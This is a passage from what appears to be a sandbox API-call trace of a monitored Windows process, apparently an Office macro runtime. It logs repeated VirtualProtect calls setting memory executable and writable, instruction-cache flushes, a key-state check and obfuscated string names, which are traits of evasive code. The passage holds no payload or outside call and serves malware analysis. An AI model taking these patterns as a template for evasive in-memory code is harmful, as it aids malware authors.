(hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0106.237] GetCurrentProcess () returned 0xffffffff [0106.237] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0106.237] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.238] GetCurrentProcess () returned 0xffffffff [0106.238] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0106.238] GetCurrentProcess () returned 0xffffffff [0106.238] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0106.238] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.238] GetCurrentProcess () returned 0xffffffff [0106.238] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0106.238] GetCurrentProcess () returned 0xffffffff [0106.238] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0106.238] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.239] GetCurrentProcess () returned 0xffffffff [0106.239] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0106.239] GetCurrentProcess () returned 0xffffffff [0106.239] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0106.239] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.239] GetCurrentProcess () returned 0xffffffff [0106.239] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0106.239] GetCurrentProcess () returned 0xffffffff [0106.239] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0106.239] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.240] GetCurrentProcess () returned 0xffffffff [0106.240] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0106.240] GetCurrentProcess () returned 0xffffffff [0106.240] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0106.240] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.240] GetCurrentProcess () returned 0xffffffff [0106.240] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0106.240] GetCurrentProcess () returned 0xffffffff [0106.240] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0106.240] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.241] GetCurrentProcess () returned 0xffffffff [0106.241] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0106.241] GetCurrentProcess () returned 0xffffffff [0106.241] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0106.241] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.241] GetCurrentProcess () returned 0xffffffff [0106.241] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0106.241] GetCurrentProcess () returned 0xffffffff [0106.241] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0106.241] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.241] GetCurrentProcess () returned 0xffffffff [0106.241] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0106.242] GetCurrentProcess () returned 0xffffffff [0106.242] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0106.242] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.242] GetCurrentProcess () returned 0xffffffff [0106.242] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0106.242] GetCurrentProcess () returned 0xffffffff [0106.242] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0106.242] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.242] GetCurrentProcess () returned 0xffffffff [0106.242] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0106.242] GetCurrentProcess () returned 0xffffffff [0106.242] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0106.242] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.243] GetCurrentProcess () returned 0xffffffff [0106.243] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0106.243] GetCurrentProcess () returned 0xffffffff [0106.243] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0106.243] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.244] GetCurrentProcess () returned 0xffffffff [0106.244] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0106.244] GetCurrentProcess () returned 0xffffffff [0106.244] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0106.244] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.244] GetCurrentProcess () returned 0xffffffff [0106.244] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0106.245] GetCurrentProcess () returned 0xffffffff [0106.245] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0106.245] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.245] GetCurrentProcess () returned 0xffffffff [0106.245] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0106.245] GetCurrentProcess () returned 0xffffffff [0106.245] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0106.245] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.246] GetCurrentProcess () returned 0xffffffff [0106.246] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0106.246] GetCurrentProcess () returned 0xffffffff [0106.246] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0106.246] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.246] GetCurrentProcess () returned 0xffffffff [0106.246] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0106.246] GetCurrentProcess () returned 0xffffffff [0106.246] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0106.246] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.247] GetCurrentProcess () returned 0xffffffff [0106.247] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0106.247] GetCurrentProcess () returned 0xffffffff [0106.247] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0106.247] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.247] GetCurrentProcess () returned 0xffffffff [0106.247] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0106.247] GetCurrentProcess () returned 0xffffffff [0106.247] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0106.247] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.247] GetCurrentProcess () returned 0xffffffff [0106.247] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0106.248] GetCurrentProcess () returned 0xffffffff [0106.248] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0106.248] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.248] GetCurrentProcess () returned 0xffffffff [0106.248] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0106.249] GetAsyncKeyState (vKey=3) returned 0 [0106.249] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.249] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.249] CRetailMalloc_Alloc () returned 0xcb65c48 [0106.249] memcpy (in: _Dst=0xcf94f48, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.249] memcpy (in: _Dst=0xcf94f4c, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.249] memcpy (in: _Dst=0xcf94f4c, _Src=0x1973d4, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.249] memcpy (in: _Dst=0xcf94f4c, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.249] memcpy (in: _Dst=0xcf94f50, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.249] memcpy (in: _Dst=0xcf94f4c, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.249] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x96\x96\x96\x96\x97\x96\x96\x97\x96\x96\x96\x96\x97\x97\x96\x96\x96\x96\x96\x96\x96\x96\x96\x96\x96\x97", cchCount1=-1, lpString2="\x97\x96\x96\x96\x97\x97\x97\x97\x96\x96\x97\x97\x96\x97\x97\x97\x97\x97\x97\x96\x97\x96\x97\x97\x97\x97\x96\x97\x97", cchCount2=-1) returned 1 [0106.249] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x96\x96\x97\x97\x96\x97\x97\x96\x96\x97\x96\x96\x97\x97\x97\x96\x97\x96\x96\x97\x96\x96\x96\x97\x96\x96", cchCount1=-1, lpString2="\x97\x96\x96\x96\x97\x97\x97\x97\x96\x96\x97\x97\x96\x97\x97\x97\x97\x97\x97\x96\x97\x96\x97\x97\x97\x97\x96\x97\x97", cchCount2=-1) returned 3 [0106.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2e1e, cbMultiByte=30, lpWideCharStr=0x197348, cchWideChar=31 | out: lpWideCharStr="—–––————––——–——————–—–————–——") returned 30 [0106.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0352, cbMultiByte=30, lpWideCharStr=0x1973a8, cchWideChar=31 | out: lpWideCharStr="—–––————––——–——————–—–————–——") returned 30 [0106.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0352, cbMultiByte=30, lpWideCharStr=0x1973a8, cchWideChar=31 | out: lpWideCharStr="—–––————––——–——————–—–————–——") returned 30 [0106.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0352, cbMultiByte=30, lpWideCharStr=0x1973a8, cchWideChar=31 | out: lpWideCharStr="—–––————––——–——————–—–————–——") returned 30 [0106.250] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x96\x96\x96\x96\x97\x96\x96\x97\x96\x96\x96\x96\x97\x97\x96\x96\x96\x96\x96\x96\x96\x96\x96\x96\x96\x97", cchCount1=-1, lpString2="\x97\x96\x96\x96\x97\x97\x97\x97\x96\x96\x97\x97\x96\x97\x97\x97\x97\x97\x97\x96\x97\x96\x97\x97\x97\x97\x96\x97\x97", cchCount2=-1) returned 1 [0106.250] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x97\x96\x97\x96\x96\x97\x97\x96\x97\x97\x96\x96\x97\x96\x96\x97\x97\x97\x96\x97\x96\x96\x97\x96\x96\x96\x97\x96\x96", cchCount1=-1, lpString2="\x97\x96\x96\x96\x97\x97\x97\x97\x96\x96\x97\x97\x96\x97\x97\x97\x97\x97\x97\x96\x97\x96\x97\x97\x97\x97\x96\x97\x97", cchCount2=-1) returned 3 [0106.250] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0352, cbMultiByte=30, lpWideCharStr=0x1973a8, cchWideChar=31 | out: lpWideCharStr="—–––————––——–——————–—–————–——") returned 30 [0106.250] CRetailMalloc_Alloc () returned 0xc85cf38 [0106.250] _mbscpy_s (in: _Dst=0xc85cf38, _DstSizeInBytes=0x1e, _Src=0x112a0352 | out: _Dst=0xc85cf38) returned 0x0 [0106.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0b42, cbMultiByte=37, lpWideCharStr=0x1973b8, cchWideChar=38 | out: lpWideCharStr="_B_var_—–––————––——–——————–—–————–——") returned 37 [0106.251] CRetailMalloc_Free () returned 0x1 [0106.251] _mbscpy_s (in: _Dst=0x1974d0, _DstSizeInBytes=0xf, _Src=0x112a03ee | out: _Dst=0x1974d0) returned 0x0 [0106.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e87c8, cbMultiByte=12, lpWideCharStr=0x11440c9c, cchWideChar=26 | out: lpWideCharStr="NsYYh8zYomI0") returned 12 [0106.251] memcpy (in: _Dst=0xcb234a8, _Src=0x11440c98, _Size=0x1e | out: _Dst=0xcb234a8) returned 0xcb234a8 [0106.251] memcpy (in: _Dst=0xcf94f48, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.251] memcpy (in: _Dst=0xcf94f48, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e87de, cbMultiByte=7, lpWideCharStr=0x11441056, cchWideChar=16 | out: lpWideCharStr="LJS4KV9") returned 7 [0106.251] memcpy (in: _Dst=0xcb234cc, _Src=0x11441052, _Size=0x14 | out: _Dst=0xcb234cc) returned 0xcb234cc [0106.251] memcpy (in: _Dst=0xcf94f4c, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.251] memcpy (in: _Dst=0xcf94f4c, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.251] memcpy (in: _Dst=0xcf94f48, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.251] memcpy (in: _Dst=0xcf94f48, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.251] memcpy (in: _Dst=0xcf94f4c, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.251] memcpy (in: _Dst=0xcf94f50, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.251] memcpy (in: _Dst=0xcf94f50, _Src=0x1973d4, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.252] memcpy (in: _Dst=0xcf94f50, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.252] memcpy (in: _Dst=0xcf94f54, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0106.252] memcpy (in: _Dst=0xcf94f50, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.252] memcpy (in: _Dst=0xcf94f54, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0106.252] memcpy (in: _Dst=0xcf95050, _Src=0x19754c, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0106.252] memcpy (in: _Dst=0xcf94f48, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.252] memcpy (in: _Dst=0xcf94f4c, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.252] memcpy (in: _Dst=0xcf94f48, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.252] memcpy (in: _Dst=0xcf94f48, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.252] memcpy (in: _Dst=0xcf94f4c, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.252] memcpy (in: _Dst=0xcf94f50, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.252] memcpy (in: _Dst=0xcf94f54, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0106.252] memcpy (in: _Dst=0xcf94f50, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.252] memcpy (in: _Dst=0xcf94f4c, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.252] memcpy (in: _Dst=0xcf94f50, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.252] memcpy (in: _Dst=0xcf94f54, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0106.252] memcpy (in: _Dst=0xcf94f58, _Src=0x19759c, _Size=0x4 | out: _Dst=0xcf94f58) returned 0xcf94f58 [0106.252] memcpy (in: _Dst=0xcf94f54, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0106.252] memcpy (in: _Dst=0xcf94f50, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.252] memcpy (in: _Dst=0xcf94f4c, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.252] memcpy (in: _Dst=0xcf94f4c, _Src=0x1973d4, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.252] memcpy (in: _Dst=0xcf94f4c, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.252] memcpy (in: _Dst=0xcf94f48, _Src=0x197548, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.252] memcpy (in: _Dst=0xcf94f4c, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.252] memcpy (in: _Dst=0xcf94f48, _Src=0x197568, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.253] memcpy (in: _Dst=0xcb65d0f, _Src=0x1974fc, _Size=0x1 | out: _Dst=0xcb65d0f) returned 0xcb65d0f [0106.253] memcpy (in: _Dst=0xcb65da8, _Src=0x197604, _Size=0x18 | out: _Dst=0xcb65da8) returned 0xcb65da8 [0106.253] CRetailMalloc_Realloc () returned 0xcb65c48 [0106.253] CRetailMalloc_Free () returned 0x1 [0106.253] GetCurrentProcess () returned 0xffffffff [0106.253] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0106.253] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.254] GetCurrentProcess () returned 0xffffffff [0106.254] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0106.254] GetCurrentProcess () returned 0xffffffff [0106.254] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0106.254] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.254] GetCurrentProcess () returned 0xffffffff [0106.254] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0106.254] GetCurrentProcess () returned 0xffffffff [0106.254] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0106.254] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.254] GetCurrentProcess () returned 0xffffffff [0106.255] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0106.255] GetCurrentProcess () returned 0xffffffff [0106.255] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0106.255] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.255] GetCurrentProcess () returned 0xffffffff [0106.255] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0106.255] GetCurrentProcess () returned 0xffffffff [0106.255] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0106.255] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.256] GetCurrentProcess () returned 0xffffffff [0106.256] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0106.256] GetCurrentProcess () returned 0xffffffff [0106.256] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0106.256] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.256] GetCurrentProcess () returned 0xffffffff [0106.256] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0106.256] GetCurrentProcess () returned 0xffffffff [0106.256] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0106.256] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.256] GetCurrentProcess () returned 0xffffffff [0106.257] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0106.257] GetCurrentProcess () returned 0xffffffff [0106.257] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0106.257] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.257] GetCurrentProcess () returned 0xffffffff [0106.257] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0106.257] GetCurrentProcess () returned 0xffffffff [0106.257] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0106.257] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.257] GetCurrentProcess () returned 0xffffffff [0106.257] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0106.257] GetCurrentProcess () returned 0xffffffff [0106.258] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0106.258] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.258] GetCurrentProcess () returned 0xffffffff [0106.258] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0106.258] GetCurrentProcess () returned 0xffffffff [0106.258] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0106.258] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.258] GetCurrentProcess () returned 0xffffffff [0106.258] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0106.258] GetCurrentProcess () returned 0xffffffff [0106.259] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0106.259] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.259] GetCurrentProcess () returned 0xffffffff [0106.260] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0106.260] GetCurrentProcess () returned 0xffffffff [0106.260] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0106.260] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.261] GetCurrentProcess () returned 0xffffffff [0106.261] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0106.261] GetCurrentProcess () returned 0xffffffff [0106.261] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0106.261] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.261] GetCurrentProcess () returned 0xffffffff [0106.261] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0106.261] GetCurrentProcess () returned 0xffffffff [0106.261] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0106.261] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 